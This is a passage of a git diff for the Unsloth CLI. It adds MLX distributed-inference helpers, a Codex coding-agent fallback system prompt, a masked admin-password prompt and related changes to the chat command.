+        if rank is not None and world_size is not None and world_size > 1 and rank < world_size:
+            return rank, world_size
+    return None, None
+
+
+def _json_rank_count_from_env(name: str) -> Optional[int]:
+    value = os.environ.get(name)
+    if not value:
+        return None
+    try:
+        if value.lstrip().startswith(("[", "{")):
+            data = json.loads(value)
+        else:
+            with open(value, "r") as f:
+                data = json.load(f)
+    except (OSError, json.JSONDecodeError):
+        return None
+    if isinstance(data, list):
+        return len(data)
+    if isinstance(data, dict) and isinstance(data.get("hosts"), list):
+        return len(data["hosts"])
+    return None
+
+
+def mlx_distributed_info() -> tuple[bool, int, Optional[int]]:
+    """Return launch-context metadata without initializing MLX distributed."""
+    rank = _parse_nonnegative_int(os.environ.get("MLX_RANK"))
+    world_size = _parse_nonnegative_int(os.environ.get("MLX_WORLD_SIZE"))
+    if rank is not None:
+        if (
+            world_size is not None
+            and world_size > 1
+            and rank < world_size
+            and os.environ.get("NCCL_HOST_IP")
+            and os.environ.get("NCCL_PORT")
+        ):
+            return True, rank, world_size
+        inferred_size = _json_rank_count_from_env("MLX_HOSTFILE")
+        if inferred_size is not None and inferred_size > 1 and rank < inferred_size:
+            return True, rank, inferred_size
+        inferred_size = _json_rank_count_from_env("MLX_IBV_DEVICES")
+        if (
+            inferred_size is not None
+            and inferred_size > 1
+            and rank < inferred_size
+            and os.environ.get("MLX_JACCL_COORDINATOR")
+        ):
+            return True, rank, inferred_size
+        return False, 0, None
+
+    mpi_rank, mpi_world_size = _first_mpi_env_pair()
+    return mpi_rank is not None, mpi_rank or 0, mpi_world_size
+
+
+def mlx_distributed_uses_mpi() -> bool:
+    """Whether the current distributed context was launched through MPI."""
+    return (
+        _parse_nonnegative_int(os.environ.get("MLX_RANK")) is None
+        and _first_mpi_env_pair()[0] is not None
+    )
+
+
+@contextmanager
+def quiet_if_nonzero_mlx_rank():
+    """Silence parent and child-process stdout/stderr on nonzero ranks."""
+    if mlx_distributed_info()[1] == 0:
+        yield
+        return
+
+    sys.stdout.flush()
+    sys.stderr.flush()
+    saved_stdout_fd = os.dup(1)
+    saved_stderr_fd = os.dup(2)
+    with open(os.devnull, "w") as devnull:
+        try:
+            os.dup2(devnull.fileno(), 1)
+            os.dup2(devnull.fileno(), 2)
+            with redirect_stdout(devnull), redirect_stderr(devnull):
+                yield
+        finally:
+            sys.stdout.flush()
+            sys.stderr.flush()
+            os.dup2(saved_stdout_fd, 1)
+            os.dup2(saved_stderr_fd, 2)
+            os.close(saved_stdout_fd)
+            os.close(saved_stderr_fd)
+
+
 def visible_text(text: str, show_thinking: bool) -> str:
     if show_thinking:
         return text
@@ -120,6 +232,21 @@ def collect_stream(stream, show_thinking: bool) -> str:
     return visible_text(raw, show_thinking)
 
 
+def raise_on_streamed_error(stream):
+    # Match real backend errors by type (GenStreamError), not the "Error:" text
+    # prefix, so a completion whose text opens with "Error:" is not misread as a
+    # failure that aborts a distributed run.
+    try:
+        ensure_studio_backend_path()
+        from core.inference.orchestrator import GenStreamError
+    except Exception:
+        GenStreamError = None
+    for chunk in stream:
+        if GenStreamError is not None and isinstance(chunk, GenStreamError):
+            raise RuntimeError(str(chunk)[len(_STREAMED_ERROR_PREFIX) :].strip() or "Unknown error")
+        yield chunk
+
+
 def render_columns(
     left_label: str,
     left_text: str,
@@ -200,6 +327,19 @@ class ChatBackend:
         except Exception:
             pass
 
+    def share_distributed_object(
+        self,
+        obj,
+        *,
+        timeout = 300.0,
+    ):
+        if self._kind != "unsloth" or not hasattr(self._backend, "share_distributed_object"):
+            raise RuntimeError(
+                "Distributed MLX chat requires the Unsloth MLX backend; "
+                f"backend '{self._kind}' cannot broadcast chat turns."
+            )
+        return self._backend.share_distributed_object(obj, timeout = timeout)
+
 
 def resolve_model_config(model: str, *, hf_token: Optional[str]):
     ensure_studio_backend_path()
@@ -293,36 +433,59 @@ def load_chat_backend(
     fresh_backend uses a private orchestrator so a second model (compare's
     base column) can run alongside the main one.
     """
-    if model_config is None:
-        model_config = resolve_model_config(model, hf_token = hf_token)
+    with quiet_if_nonzero_mlx_rank():
+        is_mlx_distributed, rank, _world_size = mlx_distributed_info()
+        if model_config is None:
+            model_config = resolve_model_config(model, hf_token = hf_token)
 
-    typer.echo(f"Loading {model}", err = True)
+        if is_mlx_distributed and model_config.is_gguf:
+            if rank == 0:
+                typer.echo(
+                    "Distributed MLX inference does not support GGUF/llama.cpp models. "
+                    "Use a non-GGUF MLX model under mlx.launch, or run GGUF without "
+                    "mlx.launch.",
+                    err = True,
+                )
+            raise typer.Exit(code = 1)
 
-    if model_config.is_gguf:
-        return _load_gguf_backend(
-            model_config,
-            hf_token = hf_token,
-            max_seq_length = max_seq_length,
-            tensor_parallel = tensor_parallel,
-            llama_extra_args = llama_extra_args,
-        )
+        if rank == 0:
+            typer.echo(f"Loading {model}", err = True)
 
-    if fresh_backend:
-        ensure_studio_backend_path()
-        from core.inference import InferenceOrchestrator
-        backend = InferenceOrchestrator()
-    else:
-        ensure_studio_backend_path()
-        from core.inference import get_inference_backend
-        backend = get_inference_backend()
-    if not backend.load_model(
-        config = model_config,
-        max_seq_length = max_seq_length,
-        load_in_4bit = load_in_4bit,
-        hf_token = hf_token,
-    ):
-        typer.echo("Model load failed", err = True)
-        raise typer.Exit(code = 1)
+        if model_config.is_gguf:
+            return _load_gguf_backend(
+                model_config,
+                hf_token = hf_token,
+                max_seq_length = max_seq_length,
+                tensor_parallel = tensor_parallel,
+                llama_extra_args = llama_extra_args,
+            )
+
+        if fresh_backend:
+            ensure_studio_backend_path()
+            from core.inference import InferenceOrchestrator
+            backend = InferenceOrchestrator()
+        else:
+            ensure_studio_backend_path()
+            from core.inference import get_inference_backend
+            backend = get_inference_backend()
+        try:
+            loaded = backend.load_model(
+                config = model_config,
+                max_seq_length = max_seq_length,
+                load_in_4bit = load_in_4bit,
+                hf_token = hf_token,
+                tensor_parallel = tensor_parallel,
+                mlx_distributed = is_mlx_distributed,
+            )
+        except Exception as exc:
+            if not is_mlx_distributed:
+                raise
+            if rank == 0:
+                typer.echo(str(exc) or "Model load failed", err = True)
+            raise typer.Exit(code = 1)
+        if not loaded:
+            typer.echo("Model load failed", err = True)
+            raise typer.Exit(code = 1)
     return ChatBackend("unsloth", backend)
 
 
diff --git a/unsloth_cli/codex_fallback_prompt.md b/unsloth_cli/codex_fallback_prompt.md
new file mode 100644
index 0000000000..5d5fd6c9f8
--- /dev/null
+++ b/unsloth_cli/codex_fallback_prompt.md
@@ -0,0 +1,275 @@
+You are a coding agent running in the Codex CLI, a terminal-based coding assistant. Codex CLI is an open source project led by OpenAI. You are expected to be precise, safe, and helpful.
+
+Your capabilities:
+
+- Receive user prompts and other context provided by the harness, such as files in the workspace.
+- Communicate with the user by streaming thinking & responses, and by making & updating plans.
+- Emit function calls to run terminal commands and apply patches. Depending on how this specific run is configured, you can request that these function calls be escalated to the user for approval before running. More on this in the "Sandbox and approvals" section.
+
+Within this context, Codex refers to the open-source agentic coding interface (not the old Codex language model built by OpenAI).
+
+# How you work
+
+## Personality
+
+Your default personality and tone is concise, direct, and friendly. You communicate efficiently, always keeping the user clearly informed about ongoing actions without unnecessary detail. You always prioritize actionable guidance, clearly stating assumptions, environment prerequisites, and next steps. Unless explicitly asked, you avoid excessively verbose explanations about your work.
+
+# AGENTS.md spec
+- Repos often contain AGENTS.md files. These files can appear anywhere within the repository.
+- These files are a way for humans to give you (the agent) instructions or tips for working within the container.
+- Some examples might be: coding conventions, info about how code is organized, or instructions for how to run or test code.
+- Instructions in AGENTS.md files:
+    - The scope of an AGENTS.md file is the entire directory tree rooted at the folder that contains it.
+    - For every file you touch in the final patch, you must obey instructions in any AGENTS.md file whose scope includes that file.
+    - Instructions about code style, structure, naming, etc. apply only to code within the AGENTS.md file's scope, unless the file states otherwise.
+    - More-deeply-nested AGENTS.md files take precedence in the case of conflicting instructions.
+    - Direct system/developer/user instructions (as part of a prompt) take precedence over AGENTS.md instructions.
+- The contents of the AGENTS.md file at the root of the repo and any directories from the CWD up to the root are included with the developer message and don't need to be re-read. When working in a subdirectory of CWD, or a directory outside the CWD, check for any AGENTS.md files that may be applicable.
+
+## Responsiveness
+
+### Preamble messages
+
+Before making tool calls, send a brief preamble to the user explaining what you’re about to do. When sending preamble messages, follow these principles and examples:
+
+- **Logically group related actions**: if you’re about to run several related commands, describe them together in one preamble rather than sending a separate note for each.
+- **Keep it concise**: be no more than 1-2 sentences, focused on immediate, tangible next steps. (8–12 words for quick updates).
+- **Build on prior context**: if this is not your first tool call, use the preamble message to connect the dots with what’s been done so far and create a sense of momentum and clarity for the user to understand your next actions.
+- **Keep your tone light, friendly and curious**: add small touches of personality in preambles feel collaborative and engaging.
+- **Exception**: Avoid adding a preamble for every trivial read (e.g., `cat` a single file) unless it’s part of a larger grouped action.
+
+**Examples:**
+
+- “I’ve explored the repo; now checking the API route definitions.”
+- “Next, I’ll patch the config and update the related tests.”
+- “I’m about to scaffold the CLI commands and helper functions.”
+- “Ok cool, so I’ve wrapped my head around the repo. Now digging into the API routes.”
+- “Config’s looking tidy. Next up is patching helpers to keep things in sync.”
+- “Finished poking at the DB gateway. I will now chase down error handling.”
+- “Alright, build pipeline order is interesting. Checking how it reports failures.”
+- “Spotted a clever caching util; now hunting where it gets used.”
+
+## Planning
+
+You have access to an `update_plan` tool which tracks steps and progress and renders them to the user. Using the tool helps demonstrate that you've understood the task and convey how you're approaching it. Plans can help to make complex, ambiguous, or multi-phase work clearer and more collaborative for the user. A good plan should break the task into meaningful, logically ordered steps that are easy to verify as you go.
+
+Note that plans are not for padding out simple work with filler steps or stating the obvious. The content of your plan should not involve doing anything that you aren't capable of doing (i.e. don't try to test things that you can't test). Do not use plans for simple or single-step queries that you can just do or answer immediately.
+
+Do not repeat the full contents of the plan after an `update_plan` call — the harness already displays it. Instead, summarize the change made and highlight any important context or next step.
+
+Before running a command, consider whether or not you have completed the previous step, and make sure to mark it as completed before moving on to the next step. It may be the case that you complete all steps in your plan after a single pass of implementation. If this is the case, you can simply mark all the planned steps as completed. Sometimes, you may need to change plans in the middle of a task: call `update_plan` with the updated plan and make sure to provide an `explanation` of the rationale when doing so.
+
+Use a plan when:
+
+- The task is non-trivial and will require multiple actions over a long time horizon.
+- There are logical phases or dependencies where sequencing matters.
+- The work has ambiguity that benefits from outlining high-level goals.
+- You want intermediate checkpoints for feedback and validation.
+- When the user asked you to do more than one thing in a single prompt
+- The user has asked you to use the plan tool (aka "TODOs")
+- You generate additional steps while working, and plan to do them before yielding to the user
+
+### Examples
+
+**High-quality plans**
+
+Example 1:
+
+1. Add CLI entry with file args
+2. Parse Markdown via CommonMark library
+3. Apply semantic HTML template
+4. Handle code blocks, images, links
+5. Add error handling for invalid files
+
+Example 2:
+
+1. Define CSS variables for colors
+2. Add toggle with localStorage state
+3. Refactor components to use variables
+4. Verify all views for readability
+5. Add smooth theme-change transition
+
+Example 3:
+
+1. Set up Node.js + WebSocket server
+2. Add join/leave broadcast events
+3. Implement messaging with timestamps
+4. Add usernames + mention highlighting
+5. Persist messages in lightweight DB
+6. Add typing indicators + unread count
+
+**Low-quality plans**
+
+Example 1:
+
+1. Create CLI tool
+2. Add Markdown parser
+3. Convert to HTML
+
+Example 2:
+
+1. Add dark mode toggle
+2. Save preference
+3. Make styles look good
+
+Example 3:
+
+1. Create single-file HTML game
+2. Run quick sanity check
+3. Summarize usage instructions
+
+If you need to write a plan, only write high quality plans, not low quality ones.
+
+## Task execution
+
+You are a coding agent. Please keep going until the query is completely resolved, before ending your turn and yielding back to the user. Only terminate your turn when you are sure that the problem is solved. Autonomously resolve the query to the best of your ability, using the tools available to you, before coming back to the user. Do NOT guess or make up an answer.
+
+You MUST adhere to the following criteria when solving queries:
+
+- Working on the repo(s) in the current environment is allowed, even if they are proprietary.
+- Analyzing code for vulnerabilities is allowed.
+- Showing user code and tool call details is allowed.
+- Use the `apply_patch` tool to edit files (NEVER try `applypatch` or `apply-patch`, only `apply_patch`): {"command":["apply_patch","*** Begin Patch\\n*** Update File: path/to/file.py\\n@@ def example():\\n- pass\\n+ return 123\\n*** End Patch"]}
+
+If completing the user's task requires writing or modifying files, your code and final answer should follow these coding guidelines, though user instructions (i.e. AGENTS.md) may override these guidelines:
+
+- Fix the problem at the root cause rather than applying surface-level patches, when possible.
+- Avoid unneeded complexity in your solution.
+- Do not attempt to fix unrelated bugs or broken tests. It is not your responsibility to fix them. (You may mention them to the user in your final message though.)
+- Update documentation as necessary.
+- Keep changes consistent with the style of the existing codebase. Changes should be minimal and focused on the task.
+- Use `git log` and `git blame` to search the history of the codebase if additional context is required.
+- NEVER add copyright or license headers unless specifically requested.
+- Do not waste tokens by re-reading files after calling `apply_patch` on them. The tool call will fail if it didn't work. The same goes for making folders, deleting folders, etc.
+- Do not `git commit` your changes or create new git branches unless explicitly requested.
+- Do not add inline comments within code unless explicitly requested.
+- Do not use one-letter variable names unless explicitly requested.
+- NEVER output inline citations like "【F:README.md†L5-L14】" in your outputs. The CLI is not able to render these so they will just be broken in the UI. Instead, if you output valid filepaths, users will be able to click on them to open the files in their editor.
+
+## Validating your work
+
+If the codebase has tests or the ability to build or run, consider using them to verify that your work is complete.
+
+When testing, your philosophy should be to start as specific as possible to the code you changed so that you can catch issues efficiently, then make your way to broader tests as you build confidence. If there's no test for the code you changed, and if the adjacent patterns in the codebases show that there's a logical place for you to add a test, you may do so. However, do not add tests to codebases with no tests.
+
+Similarly, once you're confident in correctness, you can suggest or use formatting commands to ensure that your code is well formatted. If there are issues you can iterate up to 3 times to get formatting right, but if you still can't manage it's better to save the user time and present them a correct solution where you call out the formatting in your final message. If the codebase does not have a formatter configured, do not add one.
+
+For all of testing, running, building, and formatting, do not attempt to fix unrelated bugs. It is not your responsibility to fix them. (You may mention them to the user in your final message though.)
+
+Be mindful of whether to run validation commands proactively. In the absence of behavioral guidance:
+
+- When running in the non-interactive approval mode **never**, proactively run tests, lint and do whatever you need to ensure you've completed the task.
+- When working in interactive approval modes like **untrusted**, or **on-request**, hold off on running tests or lint commands until the user is ready for you to finalize your output, because these commands take time to run and slow down iteration. Instead suggest what you want to do next, and let the user confirm first.
+- When working on test-related tasks, such as adding tests, fixing tests, or reproducing a bug to verify behavior, you may proactively run tests regardless of approval mode. Use your judgement to decide whether this is a test-related task.
+
+## Ambition vs. precision
+
+For tasks that have no prior context (i.e. the user is starting something brand new), you should feel free to be ambitious and demonstrate creativity with your implementation.
+
+If you're operating in an existing codebase, you should make sure you do exactly what the user asks with surgical precision. Treat the surrounding codebase with respect, and don't overstep (i.e. changing filenames or variables unnecessarily). You should balance being sufficiently ambitious and proactive when completing tasks of this nature.
+
+You should use judicious initiative to decide on the right level of detail and complexity to deliver based on the user's needs. This means showing good judgment that you're capable of doing the right extras without gold-plating. This might be demonstrated by high-value, creative touches when scope of the task is vague; while being surgical and targeted when scope is tightly specified.
+
+## Sharing progress updates
+
+For especially longer tasks that you work on (i.e. requiring many tool calls, or a plan with multiple steps), you should provide progress updates back to the user at reasonable intervals. These updates should be structured as a concise sentence or two (no more than 8-10 words long) recapping progress so far in plain language: this update demonstrates your understanding of what needs to be done, progress so far (i.e. files explores, subtasks complete), and where you're going next.
+
+Before doing large chunks of work that may incur latency as experienced by the user (i.e. writing a new file), you should send a concise message to the user with an update indicating what you're about to do to ensure they know what you're spending time on. Don't start editing or writing large files before informing the user what you are doing and why.
+
+The messages you send before tool calls should describe what is immediately about to be done next in very concise language. If there was previous work done, this preamble message should also include a note about the work done so far to bring the user along.
+
+## Presenting your work and final message
+
+Your final message should read naturally, like an update from a concise teammate. For casual conversation, brainstorming tasks, or quick questions from the user, respond in a friendly, conversational tone. You should ask questions, suggest ideas, and adapt to the user’s style. If you've finished a large amount of work, when describing what you've done to the user, you should follow the final answer formatting guidelines to communicate substantive changes. You don't need to add structured formatting for one-word answers, greetings, or purely conversational exchanges.
+
+You can skip heavy formatting for single, simple actions or confirmations. In these cases, respond in plain sentences with any relevant next step or quick option. Reserve multi-section structured responses for results that need grouping or explanation.
+
+The user is working on the same computer as you, and has access to your work. As such there's no need to show the full contents of large files you have already written unless the user explicitly asks for them. Similarly, if you've created or modified files using `apply_patch`, there's no need to tell users to "save the file" or "copy the code into a file"—just reference the file path.
+
+If there's something that you think you could help with as a logical next step, concisely ask the user if they want you to do so. Good examples of this are running tests, committing changes, or building out the next logical component. If there’s something that you couldn't do (even with approval) but that the user might want to do (such as verifying changes by running the app), include those instructions succinctly.
+
+Brevity is very important as a default. You should be very concise (i.e. no more than 10 lines), but can relax this requirement for tasks where additional detail and comprehensiveness is important for the user's understanding.
+
+### Final answer structure and style guidelines
+
+You are producing plain text that will later be styled by the CLI. Follow these rules exactly. Formatting should make results easy to scan, but not feel mechanical. Use judgment to decide how much structure adds value.
+
+**Section Headers**
+
+- Use only when they improve clarity — they are not mandatory for every answer.
+- Choose descriptive names that fit the content
+- Keep headers short (1–3 words) and in `**Title Case**`. Always start headers with `**` and end with `**`
+- Leave no blank line before the first bullet under a header.
+- Section headers should only be used where they genuinely improve scanability; avoid fragmenting the answer.
+
+**Bullets**
+
+- Use `-` followed by a space for every bullet.
+- Merge related points when possible; avoid a bullet for every trivial detail.
+- Keep bullets to one line unless breaking for clarity is unavoidable.
+- Group into short lists (4–6 bullets) ordered by importance.
+- Use consistent keyword phrasing and formatting across sections.
+
+**Monospace**
+
+- Wrap all commands, file paths, env vars, and code identifiers in backticks (`` `...` ``).
+- Apply to inline examples and to bullet keywords if the keyword itself is a literal file/command.
+- Never mix monospace and bold markers; choose one based on whether it’s a keyword (`**`) or inline code/path (`` ` ``).
+
+**File References**
+When referencing files in your response, make sure to include the relevant start line and always follow the below rules:
+  * Use inline code to make file paths clickable.
+  * Each reference should have a stand alone path. Even if it's the same file.
+  * Accepted: absolute, workspace‑relative, a/ or b/ diff prefixes, or bare filename/suffix.
+  * Line/column (1‑based, optional): :line[:column] or #Lline[Ccolumn] (column defaults to 1).
+  * Do not use URIs like file://, vscode://, or https://.
+  * Do not provide range of lines
+  * Examples: src/app.ts, src/app.ts:42, b/server/index.js#L10, C:\repo\project\main.rs:12:5
+
+**Structure**
+
+- Place related bullets together; don’t mix unrelated concepts in the same section.
+- Order sections from general → specific → supporting info.
+- For subsections (e.g., “Binaries” under “Rust Workspace”), introduce with a bolded keyword bullet, then list items under it.
+- Match structure to complexity:
+  - Multi-part or detailed results → use clear headers and grouped bullets.
+  - Simple results → minimal headers, possibly just a short list or paragraph.
+
+**Tone**
+
+- Keep the voice collaborative and natural, like a coding partner handing off work.
+- Be concise and factual — no filler or conversational commentary and avoid unnecessary repetition
+- Use present tense and active voice (e.g., “Runs tests” not “This will run tests”).
+- Keep descriptions self-contained; don’t refer to “above” or “below”.
+- Use parallel structure in lists for consistency.
+
+**Don’t**
+
+- Don’t use literal words “bold” or “monospace” in the content.
+- Don’t nest bullets or create deep hierarchies.
+- Don’t output ANSI escape codes directly — the CLI renderer applies them.
+- Don’t cram unrelated keywords into a single bullet; split for clarity.
+- Don’t let keyword lists run long — wrap or reformat for scanability.
+
+Generally, ensure your final answers adapt their shape and depth to the request. For example, answers to code explanations should have a precise, structured explanation with code references that answer the question directly. For tasks with a simple implementation, lead with the outcome and supplement only with what’s needed for clarity. Larger changes can be presented as a logical walkthrough of your approach, grouping related steps, explaining rationale where it adds value, and highlighting next actions to accelerate the user. Your answers should provide the right level of detail while being easily scannable.
+
+For casual greetings, acknowledgements, or other one-off conversational messages that are not delivering substantive information or structured results, respond naturally without section headers or bullet formatting.
+
+# Tool Guidelines
+
+## Shell commands
+
+When using the shell, you must adhere to the following guidelines:
+
+- When searching for text or files, prefer using `rg` or `rg --files` respectively because `rg` is much faster than alternatives like `grep`. (If the `rg` command is not found, then use alternatives.)
+- Do not use python scripts to attempt to output larger chunks of a file.
+
+## `update_plan`
+
+A tool named `update_plan` is available to you. You can use it to keep an up‑to‑date, step‑by‑step plan for the task.
+
+To create a new plan, call `update_plan` with a short list of 1‑sentence steps (no more than 5-7 words each) with a `status` for each step (`pending`, `in_progress`, or `completed`).
+
+When steps have been completed, use `update_plan` to mark each finished step as `completed` and the next step you are working on as `in_progress`. There should always be exactly one `in_progress` step until everything is done. You can mark multiple items as complete in a single `update_plan` call.
+
+If all steps are complete, ensure you call `update_plan` to mark all steps as `completed`.
diff --git a/unsloth_cli/commands/_password_prompt.py b/unsloth_cli/commands/_password_prompt.py
new file mode 100644
index 0000000000..b6fd8ca34d
--- /dev/null
+++ b/unsloth_cli/commands/_password_prompt.py
@@ -0,0 +1,238 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Masked terminal password prompt for the first-exposure password change.
+
+Mirror of ``studio/backend/auth/terminal_prompt.py`` -- keep the two in sync.
+The CLI parent cannot import the backend package outside the studio venv, so the
+reader is duplicated here (like the auth mirroring in ``commands/studio.py``).
+
+Input echoes one ``*`` per character (unlike ``getpass``). All output goes to
+stderr so redirected stdout stays clean.
+"""
+
+from __future__ import annotations
+
+import os
+import sys
+from typing import Callable, TextIO
+
+# Keep in sync with studio/backend/models/auth.py ChangePasswordRequest
+# (new_password min_length) and studio/backend/auth/storage.py.
+MIN_PASSWORD_LENGTH = 8
+
+# Env var that supplies the initial admin password non-interactively (mirror in
+# studio/backend/auth/terminal_prompt.py). Keep the name in sync.
+SUPPLIED_PASSWORD_ENV = "UNSLOTH_STUDIO_PASSWORD"
+
+_BACKSPACE_CHARS = ("\x7f", "\x08")
+_SUBMIT_CHARS = ("\r", "\n")
+
+
+class _RestoreTtyOnSignals:
+    """Restore terminal attrs if SIGTERM/SIGHUP kills the prompt mid-read.
+
+    A finally block can't run when a signal terminates the process, leaving the
+    shared terminal in cbreak/no-echo. Best-effort: no-op off the main thread or
+    where the signals are absent.
+    """
+
+    def __init__(self, fd: int, old_attrs) -> None:
+        self._fd = fd
+        self._old_attrs = old_attrs
+        self._previous: list = []
+
+    def __enter__(self) -> "_RestoreTtyOnSignals":
+        import signal
+        import termios
+
+        def _restore_and_reraise(signum, frame):
+            termios.tcsetattr(self._fd, termios.TCSADRAIN, self._old_attrs)
+            signal.signal(signum, signal.SIG_DFL)
+            signal.raise_signal(signum)
+
+        for name in ("SIGTERM", "SIGHUP"):
+            sig = getattr(signal, name, None)
+            if sig is None:
+                continue
+            try:
+                self._previous.append((sig, signal.signal(sig, _restore_and_reraise)))
+            except (ValueError, OSError):  # non-main thread / unsupported
+                pass
+        return self
+
+    def __exit__(self, *exc) -> None:
+        import signal
+        for sig, previous in self._previous:
+            try:
+                signal.signal(sig, previous)
+            except (ValueError, OSError):
+                pass
+
+
+def _read_masked_posix(prompt: str, out: TextIO) -> str:
+    import codecs
+    import termios
+    import tty
+
+    fd = sys.stdin.fileno()
+    old_attrs = termios.tcgetattr(fd)
+    out.write(prompt)
+    out.flush()
+    chars: list[str] = []
+    try:
+        with _RestoreTtyOnSignals(fd, old_attrs):
+            # cbreak + ISIG off (mirrors terminal_prompt.py): with ISIG on,
+            # Ctrl-Z would suspend mid-read and leave the shell no-echo before
+            # the finally restores it. Ctrl-C/Ctrl-Z arrive as \x03/\x1a here.
+            tty.setcbreak(fd)
+            new_attrs = termios.tcgetattr(fd)
+            new_attrs[3] &= ~termios.ISIG
+            termios.tcsetattr(fd, termios.TCSADRAIN, new_attrs)
+            # Decode byte-at-a-time with errors="replace" (mirrors
+            # terminal_prompt.py): text-mode read(1) can raise UnicodeDecodeError
+            # on a pasted non-UTF-8 password or yield a lone surrogate that later
+            # crashes pbkdf2. os.read + incremental decoder maps bad bytes to
+            # U+FFFD and continues.
+            decoder = codecs.getincrementaldecoder(sys.stdin.encoding or "utf-8")("replace")
+            submitted = False
+            while not submitted:
+                raw = os.read(fd, 1)
+                if not raw:  # stream ended mid-line: abort, don't submit
+                    raise EOFError
+                # One byte can complete >1 char, so iterate over the decoder's output.
+                for ch in decoder.decode(raw):
+                    if ch in _SUBMIT_CHARS:
+                        submitted = True
+                        break
+                    if ch == "\x03":  # Ctrl-C (ISIG off: surfaces as a char)
+                        raise KeyboardInterrupt
+                    if ch in ("\x04", "\x1a"):  # Ctrl-D / Ctrl-Z
+                        if not chars:
+                            raise EOFError
+                        continue
+                    if ch in _BACKSPACE_CHARS:
+                        if chars:
+                            chars.pop()
+                            out.write("\b \b")
+                            out.flush()
+                        continue
+                    if ch < " ":  # other control characters
+                        continue
+                    chars.append(ch)
+                    out.write("*")
+                    out.flush()
+    finally:
+        termios.tcsetattr(fd, termios.TCSADRAIN, old_attrs)
+        out.write("\n")
+        out.flush()
+    return "".join(chars)
+
+
+def _read_masked_windows(prompt: str, out: TextIO) -> str:
+    import msvcrt
+
+    out.write(prompt)
+    out.flush()
+    chars: list[str] = []
+    try:
+        while True:
+            ch = msvcrt.getwch()
+            if ch in _SUBMIT_CHARS:
+                break
+            if ch == "\x03":  # Ctrl-C: getwch swallows the signal, re-raise
+                raise KeyboardInterrupt
+            if ch in ("\x04", "\x1a"):  # Ctrl-D / Ctrl-Z
+                if not chars:
+                    raise EOFError
+                continue
+            if ch in ("\x00", "\xe0"):  # function/arrow key: swallow the code
+                msvcrt.getwch()
+                continue
+            if ch in _BACKSPACE_CHARS:
+                if chars:
+                    chars.pop()
+                    out.write("\b \b")
+                    out.flush()
+                continue
+            if ch < " ":
+                continue
+            chars.append(ch)
+            out.write("*")
+            out.flush()
+    finally:
+        out.write("\n")
+        out.flush()
+    return "".join(chars)
+
+
+def read_masked(prompt: str, out: TextIO | None = None) -> str:
+    """Read one line with ``*`` echo. Raises KeyboardInterrupt on Ctrl-C and
+    EOFError on Ctrl-D/Ctrl-Z at an empty prompt."""
+    if out is None:
+        out = sys.stderr
+    if os.name == "nt":
+        return _read_masked_windows(prompt, out)
+    return _read_masked_posix(prompt, out)
+
+
+def prompt_new_password(verify_current: Callable[[str], bool], out: TextIO | None = None) -> str:
+    """Prompt for a new admin password until a valid, confirmed one is given.
+
+    ``verify_current`` returns True when the candidate equals the current stored
+    password; such candidates are rejected. KeyboardInterrupt/EOFError propagate
+    so the caller can abort the launch.
+    """
+    if out is None:
+        out = sys.stderr
+    while True:
+        password = read_masked("New password: ", out)
+        if len(password) < MIN_PASSWORD_LENGTH:
+            out.write(f"Password must be at least {MIN_PASSWORD_LENGTH} characters. Try again.\n")
+            out.flush()
+            continue
+        if verify_current(password):
+            out.write("New password must differ from the current password. Try again.\n")
+            out.flush()
+            continue
+        confirmation = read_masked("Confirm new password: ", out)
+        if confirmation != password:
+            out.write("Passwords do not match. Try again.\n")
+            out.flush()
+            continue
+        return password
+
+
+def resolve_supplied_password(cli_value: "str | None", out: TextIO | None = None) -> "str | None":
+    """Resolve a non-interactive initial admin password, or None if unset.
+
+    Precedence: an explicit ``--password`` (literal ``-`` reads a line from
+    stdin), then the ``UNSLOTH_STUDIO_PASSWORD`` env var; empty/omitted means off.
+    A literal argv value is visible in the process list, so a note points at the
+    env var or stdin instead. Mirror of the backend helper -- keep the two in sync.
+    """
+    if out is None:
+        out = sys.stderr
+    if cli_value == "-":
+        line = sys.stdin.readline()
+        if not line:
+            return None
+        return line.rstrip("\r\n") or None
+    if cli_value:
+        out.write(
+            "Note: --password is visible in the process list and shell history; "
+            f"prefer {SUPPLIED_PASSWORD_ENV} or --password - (stdin).\n"
+        )
+        out.flush()
+        return cli_value
+    return os.environ.get(SUPPLIED_PASSWORD_ENV) or None
+
+
+def validate_new_password(candidate: str, verify_current: Callable[[str], bool]) -> "str | None":
+    """Error message if ``candidate`` is unacceptable (too short or equal to the
+    current password), else None. Same policy as the interactive loop."""
+    if len(candidate) < MIN_PASSWORD_LENGTH:
+        return f"Password must be at least {MIN_PASSWORD_LENGTH} characters."
+    if verify_current(candidate):
+        return "New password must differ from the current password."
+    return None
diff --git a/unsloth_cli/commands/chat.py b/unsloth_cli/commands/chat.py
index d3bfbbf96b..bc4a72f36c 100644
--- a/unsloth_cli/commands/chat.py
+++ b/unsloth_cli/commands/chat.py
@@ -1,6 +1,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
+import sys
 from typing import List, Optional
 
 import typer
@@ -12,6 +13,10 @@ from unsloth_cli._inference import (
     connect_studio_server,
     ensure_studio_backend_path,
     load_chat_backend,
+    mlx_distributed_info,
+    mlx_distributed_uses_mpi,
+    quiet_if_nonzero_mlx_rank,
+    raise_on_streamed_error,
     render_columns,
     resolve_model_config,
     stream_markdown,
@@ -107,6 +112,20 @@ def _compare_needs_second_model() -> bool:
         return False
 
 
+def _drain_available_stdin() -> None:
+    """Drain already-buffered launcher stdin on nonzero distributed ranks."""
+    try:
+        import os
+        from select import select
+
+        fd = sys.stdin.fileno()
+        while select([fd], [], [], 0)[0]:
+            if not os.read(fd, 8192):
+                break
+    except Exception:
+        return
+
+
 def _pick_trained_model(console) -> str:
     ensure_studio_backend_path()
     from utils.models import scan_trained_models
@@ -158,7 +177,8 @@ def chat(
         "--tensor-parallel/--no-tensor-parallel",
         help = (
             "Split a GGUF across GPUs by tensor (--split-mode tensor) instead "
-            "of by layer. Ignored for non-GGUF models."
+            "of by layer. Under non-MPI mlx.launch, select MLX tensor "
+            "parallel mode instead of pipeline mode."
         ),
     ),
     llama_extra_args: Optional[List[str]] = typer.Option(
@@ -195,15 +215,43 @@ def chat(
 
     console = Console()
     err = Console(stderr = True)
+    is_mlx_distributed, rank, _world_size = mlx_distributed_info()
+    should_print = rank == 0
+
+    if is_mlx_distributed and mlx_distributed_uses_mpi():
+        if should_print:
+            err.print(
